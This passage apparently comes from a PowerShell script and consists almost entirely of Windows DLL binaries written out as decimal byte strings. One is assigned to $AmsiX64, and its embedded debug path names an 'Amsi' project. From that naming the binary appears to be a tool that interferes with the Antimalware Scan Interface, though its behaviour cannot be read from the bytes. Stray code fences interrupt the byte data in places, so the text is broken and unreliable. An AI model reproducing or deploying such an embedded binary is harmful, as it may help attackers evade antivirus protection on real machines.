0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0
0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120
109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105
110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121
101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39
117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99
111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115
105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32
120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114
111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60
115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115
116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32
60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118

```
101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105
65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60
47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13
10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117
115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48
108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49
150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156
51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239
51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53
170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54
17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56
46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57
189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59
71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60
48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0
0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52
144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0"
    $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0
180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97
110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46
13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174
217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205
12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210
205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209
205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240
0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0
16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0
16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0
0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0
0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0
0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0
20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2
0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0
64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0
16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114
99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114
101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0
66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204
204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72
193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204
204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10
184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196
40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233
44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139
```

242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0
138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199
5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0
0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21
253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192
116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0
0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72
139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139
203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0
0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72
137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133
192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56
131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0
232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149
195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196
72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240
139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133
192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68
36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198
139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192
117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206
232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219
116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139
198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139
198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48
139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36
16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139
233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72
139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95
195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241
131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116
36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217
51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9
4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0
0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0
72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0
72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210
27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107
192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70
27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72
141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131
236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36
96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104
72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36
40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64
95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37
48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238
50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192
116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201
232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8
0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1
72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204
204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249
73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139
207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80
72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204
204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40
233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72
131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15

182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0
0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234
138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64
139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141
13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205
6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0
0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69
224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15
16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242
15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204
204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72
99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184
11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6
72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10
139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192
235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131
196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117
7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138
217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196
32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251
28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72
139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72
131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255
200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0
72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24
255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255
21 216 6 0 0 139 192 72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16
72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72
35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72
139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0
72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72
141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255
72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172
36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116
4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3
0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139
203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4
0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0
72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4
0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0
72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96
199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80
72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72
141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139
156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36
16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133
255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92
36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16
87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255
116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48
72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16
85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15
162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129
241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68
11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129
242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69
240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82
72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1
0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27

72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132
210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0
0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137
93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237
24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65
15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208
72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0
0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0
137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5
92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0
0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0
0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0
0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204
204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77
64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248
255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139
234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69
112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72
139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0
0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42
0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0
232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0
0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184
39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0
0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0
0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128
1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65
0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0
184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0
0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25
190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92
120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0
0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120
116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82
30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97
36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82
84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8
0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0
0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36
88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0
46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0
0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46
114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32
